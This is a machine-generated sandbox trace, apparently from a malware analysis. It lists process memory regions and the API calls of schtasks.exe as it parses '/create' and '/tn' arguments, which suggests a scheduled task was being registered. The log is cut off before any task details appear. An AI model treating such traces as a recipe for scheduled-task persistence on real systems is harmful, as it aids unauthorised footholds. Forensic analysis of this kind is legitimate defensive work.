filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3217 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 3218 start_va = 0x7fffffdc000 end_va = 0x7fffffdcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 3219 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 3220 start_va = 0x280000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 3221 start_va = 0x779c0000 end_va = 0x77adefff monitored = 0 entry_point = 0x779d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3222 start_va = 0x7fefddf0000 end_va = 0x7fefde5bfff monitored = 0 entry_point = 0x7fefddf2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 3223 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3224 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3225 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3226 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3227 start_va = 0x7feffd90000 end_va = 0x7feffe2efff monitored = 0 entry_point = 0x7feffd925a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 3228 start_va = 0x77ae0000 end_va = 0x77bd9fff monitored = 0 entry_point = 0x77afa2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 3229 start_va = 0x7feff680000 end_va = 0x7feff6e6fff monitored = 0 entry_point = 0x7feff68b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 3230 start_va = 0x7feff6f0000 end_va = 0x7feff6fdfff monitored = 0 entry_point = 0x7feff6f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 3231 start_va = 0x7feff4d0000 end_va = 0x7feff598fff monitored = 0 entry_point = 0x7feff54a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 3232 start_va = 0x7feff810000 end_va = 0x7feffa12fff monitored = 0 entry_point = 0x7feff833330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 3233 start_va = 0x7fefdf20000 end_va = 0x7fefe04cfff monitored = 0 entry_point = 0x7fefdf6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 3234 start_va = 0x7feff5a0000 end_va = 0x7feff676fff monitored = 0 entry_point = 0x7feff5a3274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 3235 start_va = 0x7feffa20000 end_va = 0x7feffa90fff monitored = 0 entry_point = 0x7feffa31e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 3236 start_va = 0x7fefb0b0000 end_va = 0x7fefb0b9fff monitored = 0 entry_point = 0x7fefb0b260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 3237 start_va = 0xc0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 3238 start_va = 0x470000 end_va = 0x56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 3239 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3240 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 3241 start_va = 0x570000 end_va = 0x6f7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000570000" filename = "" Region: id = 3242 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3243 start_va = 0x7feffaa0000 end_va = 0x7feffacdfff monitored = 0 entry_point = 0x7feffaa1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3244 start_va = 0x7feff700000 end_va = 0x7feff808fff monitored = 0 entry_point = 0x7feff701064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 3245 start_va = 0x700000 end_va = 0x880fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000700000" filename = "" Region: id = 3246 start_va = 0x890000 end_va = 0x1c8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000890000" filename = "" Region: id = 3247 start_va = 0xc0000 end_va = 0xd1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 3248 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 3249 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 3250 start_va = 0x7fefccf0000 end_va = 0x7fefccfbfff monitored = 0 entry_point = 0x7fefccf1064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 3251 start_va = 0x1c90000 end_va = 0x1f5efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3252 start_va = 0xf0000 end_va = 0x16cfff monitored = 0 entry_point = 0xfcec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3253 start_va = 0xf0000 end_va = 0x16cfff monitored = 0 entry_point = 0xfcec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3254 start_va = 0x7fefda20000 end_va = 0x7fefda2efff monitored = 0 entry_point = 0x7fefda21010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 3255 start_va = 0x7fefc480000 end_va = 0x7fefc4d5fff monitored = 0 entry_point = 0x7fefc48bbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 3256 start_va = 0x1f60000 end_va = 0x211ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f60000" filename = "" Region: id = 3257 start_va = 0x280000 end_va = 0x35efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000280000" filename = "" Region: id = 3258 start_va = 0x370000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000370000" filename = "" Region: id = 3259 start_va = 0x7fefdf00000 end_va = 0x7fefdf1efff monitored = 0 entry_point = 0x7fefdf060e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 3260 start_va = 0x2150000 end_va = 0x21cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002150000" filename = "" Region: id = 3261 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 3262 start_va = 0x7feffcb0000 end_va = 0x7feffd8afff monitored = 0 entry_point = 0x7feffcd0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 3263 start_va = 0xf0000 end_va = 0xf0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 3264 start_va = 0x7fefe3c0000 end_va = 0x7fefe458fff monitored = 0 entry_point = 0x7fefe3c1c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 3265 start_va = 0x100000 end_va = 0x100fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 3266 start_va = 0x7fefb890000 end_va = 0x7fefb9b6fff monitored = 0 entry_point = 0x7fefb8910ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 3267 start_va = 0x7fefd9f0000 end_va = 0x7fefda14fff monitored = 0 entry_point = 0x7fefd9f9658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 3270 start_va = 0x7fefc010000 end_va = 0x7fefc044fff monitored = 0 entry_point = 0x7fefc011064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 152 os_tid = 0xa40 [0074.215] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x27fdc0 | out: lpSystemTimeAsFileTime=0x27fdc0*(dwLowDateTime=0x55335a40, dwHighDateTime=0x1d9eb0c)) [0074.215] GetCurrentProcessId () returned 0x64 [0074.215] GetCurrentThreadId () returned 0xa40 [0074.215] GetTickCount () returned 0x176803e [0074.215] RtlQueryPerformanceCounter (in: lpPerformanceCount=0x27fdc8 | out: lpPerformanceCount=0x27fdc8*=2488069872093) returned 1 [0074.216] GetModuleHandleW (lpModuleName=0x0) returned 0xff9d0000 [0074.216] __set_app_type (_Type=0x1) [0074.216] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff9f972c) returned 0x0 [0074.216] __wgetmainargs (in: _Argc=0xffa11240, _Argv=0xffa11250, _Env=0xffa11248, _DoWildCard=0, _StartInfo=0xffa1125c | out: _Argc=0xffa11240, _Argv=0xffa11250, _Env=0xffa11248) returned 0 [0074.217] _onexit (_Func=0xffa02ab0) returned 0xffa02ab0 [0074.217] _onexit (_Func=0xffa02ac4) returned 0xffa02ac4 [0074.217] _onexit (_Func=0xffa02afc) returned 0xffa02afc [0074.218] _onexit (_Func=0xffa02b58) returned 0xffa02b58 [0074.218] _onexit (_Func=0xffa02b80) returned 0xffa02b80 [0074.218] _onexit (_Func=0xffa02ba8) returned 0xffa02ba8 [0074.218] _onexit (_Func=0xffa02bd0) returned 0xffa02bd0 [0074.218] _onexit (_Func=0xffa02bf8) returned 0xffa02bf8 [0074.218] _onexit (_Func=0xffa02c20) returned 0xffa02c20 [0074.218] _onexit (_Func=0xffa02c48) returned 0xffa02c48 [0074.219] _onexit (_Func=0xffa02c70) returned 0xffa02c70 [0074.219] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0074.219] WinSqmIsOptedIn () returned 0x0 [0074.219] GetProcessHeap () returned 0x370000 [0074.219] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x18) returned 0x387f30 [0074.219] SetLastError (dwErrCode=0x0) [0074.220] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0074.220] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0074.220] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0074.220] VerifyVersionInfoW (in: lpVersionInformation=0x27f580, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x27f580) returned 1 [0074.220] GetProcessHeap () returned 0x370000 [0074.220] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x18) returned 0x38bab0 [0074.220] lstrlenW (lpString="") returned 0 [0074.220] GetProcessHeap () returned 0x370000 [0074.220] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x2) returned 0x38bad0 [0074.220] GetProcessHeap () returned 0x370000 [0074.220] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x20) returned 0x3859c0 [0074.220] GetProcessHeap () returned 0x370000 [0074.220] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x18) returned 0x38baf0 [0074.220] GetProcessHeap () returned 0x370000 [0074.220] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x20) returned 0x3859f0 [0074.221] GetProcessHeap () returned 0x370000 [0074.221] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x20) returned 0x385a20 [0074.221] GetProcessHeap () returned 0x370000 [0074.221] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x20) returned 0x385a50 [0074.221] GetProcessHeap () returned 0x370000 [0074.221] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x20) returned 0x385a80 [0074.221] GetProcessHeap () returned 0x370000 [0074.221] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x18) returned 0x38bb10 [0074.221] GetProcessHeap () returned 0x370000 [0074.221] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x20) returned 0x385ab0 [0074.221] GetProcessHeap () returned 0x370000 [0074.221] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x20) returned 0x385ae0 [0074.221] GetProcessHeap () returned 0x370000 [0074.221] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x20) returned 0x385b10 [0074.221] GetProcessHeap () returned 0x370000 [0074.221] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x20) returned 0x385b40 [0074.221] GetProcessHeap () returned 0x370000 [0074.221] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x18) returned 0x38bb30 [0074.221] GetProcessHeap () returned 0x370000 [0074.221] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x20) returned 0x385b70 [0074.221] GetProcessHeap () returned 0x370000 [0074.221] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x20) returned 0x385ba0 [0074.221] GetProcessHeap () returned 0x370000 [0074.221] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x20) returned 0x385bd0 [0074.221] GetProcessHeap () returned 0x370000 [0074.221] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x20) returned 0x385c00 [0074.221] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0074.222] SetLastError (dwErrCode=0x0) [0074.222] GetProcessHeap () returned 0x370000 [0074.222] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x20) returned 0x385c30 [0074.222] GetProcessHeap () returned 0x370000 [0074.222] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x20) returned 0x385c60 [0074.222] GetProcessHeap () returned 0x370000 [0074.222] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x20) returned 0x385c90 [0074.222] GetProcessHeap () returned 0x370000 [0074.222] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x20) returned 0x385cc0 [0074.222] GetProcessHeap () returned 0x370000 [0074.222] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x20) returned 0x385cf0 [0074.222] GetProcessHeap () returned 0x370000 [0074.222] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x18) returned 0x38bb50 [0074.222] _memicmp (_Buf1=0x38bb50, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.222] GetProcessHeap () returned 0x370000 [0074.222] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x208) returned 0x38bcf0 [0074.222] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x38bcf0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0074.223] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefccf0000 [0074.236] GetProcAddress (hModule=0x7fefccf0000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefccf15fc [0074.236] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0074.238] GetProcessHeap () returned 0x370000 [0074.238] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x74e) returned 0x38c2c0 [0074.238] GetProcAddress (hModule=0x7fefccf0000, lpProcName="GetFileVersionInfoW") returned 0x7fefccf1614 [0074.238] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x38c2c0 | out: lpData=0x38c2c0) returned 1 [0074.238] GetProcAddress (hModule=0x7fefccf0000, lpProcName="VerQueryValueW") returned 0x7fefccf15e0 [0074.238] VerQueryValueW (in: pBlock=0x38c2c0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x27f668, puLen=0x27f6d0 | out: lplpBuffer=0x27f668*=0x38c65c, puLen=0x27f6d0) returned 1 [0074.241] _memicmp (_Buf1=0x38bb50, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.241] _vsnwprintf (in: _Buffer=0x38bcf0, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x27f648 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0074.241] VerQueryValueW (in: pBlock=0x38c2c0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x27f6d8, puLen=0x27f6c8 | out: lplpBuffer=0x27f6d8*=0x38c488, puLen=0x27f6c8) returned 1 [0074.241] lstrlenW (lpString="schtasks.exe") returned 12 [0074.241] lstrlenW (lpString="schtasks.exe") returned 12 [0074.241] lstrlenW (lpString=".EXE") returned 4 [0074.241] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0074.243] lstrlenW (lpString="schtasks.exe") returned 12 [0074.243] lstrlenW (lpString=".EXE") returned 4 [0074.243] _memicmp (_Buf1=0x38bb50, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.243] lstrlenW (lpString="schtasks") returned 8 [0074.243] GetProcessHeap () returned 0x370000 [0074.244] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x20) returned 0x385de0 [0074.244] GetProcessHeap () returned 0x370000 [0074.244] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x20) returned 0x38cbd0 [0074.244] GetProcessHeap () returned 0x370000 [0074.244] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x20) returned 0x38cc00 [0074.244] GetProcessHeap () returned 0x370000 [0074.244] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x20) returned 0x38cc30 [0074.244] GetProcessHeap () returned 0x370000 [0074.244] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x18) returned 0x38bb70 [0074.244] _memicmp (_Buf1=0x38bb70, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.244] GetProcessHeap () returned 0x370000 [0074.244] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0xa0) returned 0x38c0f0 [0074.245] GetProcessHeap () returned 0x370000 [0074.245] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x20) returned 0x38cc60 [0074.245] GetProcessHeap () returned 0x370000 [0074.245] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x20) returned 0x38cc90 [0074.245] GetProcessHeap () returned 0x370000 [0074.245] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x20) returned 0x38ccc0 [0074.245] GetProcessHeap () returned 0x370000 [0074.245] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x18) returned 0x38bb90 [0074.245] _memicmp (_Buf1=0x38bb90, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.245] GetProcessHeap () returned 0x370000 [0074.245] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x200) returned 0x38d3a0 [0074.245] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x38d3a0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0074.246] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0074.246] GetProcessHeap () returned 0x370000 [0074.246] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x30) returned 0x387b50 [0074.246] _vsnwprintf (in: _Buffer=0x38c0f0, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x27f648 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0074.246] GetProcessHeap () returned 0x370000 [0074.246] GetProcessHeap () returned 0x370000 [0074.246] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38c2c0) returned 1 [0074.246] GetProcessHeap () returned 0x370000 [0074.246] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38c2c0) returned 0x74e [0074.247] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38c2c0 | out: hHeap=0x370000) returned 1 [0074.247] SetLastError (dwErrCode=0x0) [0074.247] GetThreadLocale () returned 0x409 [0074.247] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0074.248] lstrlenW (lpString="?") returned 1 [0074.248] GetThreadLocale () returned 0x409 [0074.248] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0074.248] lstrlenW (lpString="create") returned 6 [0074.248] GetThreadLocale () returned 0x409 [0074.248] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0074.249] lstrlenW (lpString="delete") returned 6 [0074.249] GetThreadLocale () returned 0x409 [0074.249] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0074.249] lstrlenW (lpString="query") returned 5 [0074.249] GetThreadLocale () returned 0x409 [0074.249] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0074.249] lstrlenW (lpString="change") returned 6 [0074.249] GetThreadLocale () returned 0x409 [0074.249] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0074.249] lstrlenW (lpString="run") returned 3 [0074.249] GetThreadLocale () returned 0x409 [0074.249] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0074.249] lstrlenW (lpString="end") returned 3 [0074.250] GetThreadLocale () returned 0x409 [0074.250] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0074.250] lstrlenW (lpString="showsid") returned 7 [0074.250] GetThreadLocale () returned 0x409 [0074.250] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0074.250] SetLastError (dwErrCode=0x0) [0074.250] SetLastError (dwErrCode=0x0) [0074.250] lstrlenW (lpString="/create") returned 7 [0074.250] lstrlenW (lpString="-/") returned 2 [0074.250] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0074.250] lstrlenW (lpString="?") returned 1 [0074.250] lstrlenW (lpString="?") returned 1 [0074.250] GetProcessHeap () returned 0x370000 [0074.250] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x18) returned 0x38c1a0 [0074.250] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.250] GetProcessHeap () returned 0x370000 [0074.251] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0xa) returned 0x38c2c0 [0074.251] lstrlenW (lpString="create") returned 6 [0074.251] GetProcessHeap () returned 0x370000 [0074.251] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x18) returned 0x38c2e0 [0074.251] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.251] GetProcessHeap () returned 0x370000 [0074.251] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x14) returned 0x38c300 [0074.251] _vsnwprintf (in: _Buffer=0x38c2c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f658 | out: _Buffer="|?|") returned 3 [0074.251] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f658 | out: _Buffer="|create|") returned 8 [0074.251] lstrlenW (lpString="|?|") returned 3 [0074.251] lstrlenW (lpString="|create|") returned 8 [0074.251] SetLastError (dwErrCode=0x490) [0074.251] lstrlenW (lpString="create") returned 6 [0074.251] lstrlenW (lpString="create") returned 6 [0074.251] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.251] GetProcessHeap () returned 0x370000 [0074.251] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38c2c0) returned 1 [0074.252] GetProcessHeap () returned 0x370000 [0074.252] RtlReAllocateHeap (Heap=0x370000, Flags=0xc, Ptr=0x38c2c0, Size=0x14) returned 0x38c320 [0074.252] lstrlenW (lpString="create") returned 6 [0074.252] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.252] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f658 | out: _Buffer="|create|") returned 8 [0074.252] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f658 | out: _Buffer="|create|") returned 8 [0074.252] lstrlenW (lpString="|create|") returned 8 [0074.252] lstrlenW (lpString="|create|") returned 8 [0074.252] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0074.252] SetLastError (dwErrCode=0x0) [0074.252] SetLastError (dwErrCode=0x0) [0074.252] SetLastError (dwErrCode=0x0) [0074.252] lstrlenW (lpString="/tn") returned 3 [0074.252] lstrlenW (lpString="-/") returned 2 [0074.252] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0074.252] lstrlenW (lpString="?") returned 1 [0074.253] lstrlenW (lpString="?") returned 1 [0074.253] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.253] lstrlenW (lpString="tn") returned 2 [0074.253] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.253] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f658 | out: _Buffer="|?|") returned 3 [0074.253] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f658 | out: _Buffer="|tn|") returned 4 [0074.253] lstrlenW (lpString="|?|") returned 3 [0074.253] lstrlenW (lpString="|tn|") returned 4 [0074.253] SetLastError (dwErrCode=0x490) [0074.253] lstrlenW (lpString="create") returned 6 [0074.253] lstrlenW (lpString="create") 